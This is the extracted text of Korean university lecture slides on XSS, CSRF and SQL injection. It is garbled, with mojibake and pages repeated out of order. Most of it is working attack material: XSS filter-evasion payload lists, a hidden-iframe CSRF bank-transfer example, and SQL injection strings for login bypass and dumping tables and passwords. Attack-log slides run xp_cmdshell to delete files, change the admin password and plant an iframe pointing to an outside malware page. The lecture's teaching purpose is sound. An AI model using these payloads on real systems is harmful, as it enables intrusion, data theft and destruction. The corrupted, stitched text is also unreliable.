
Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 16: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 17: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

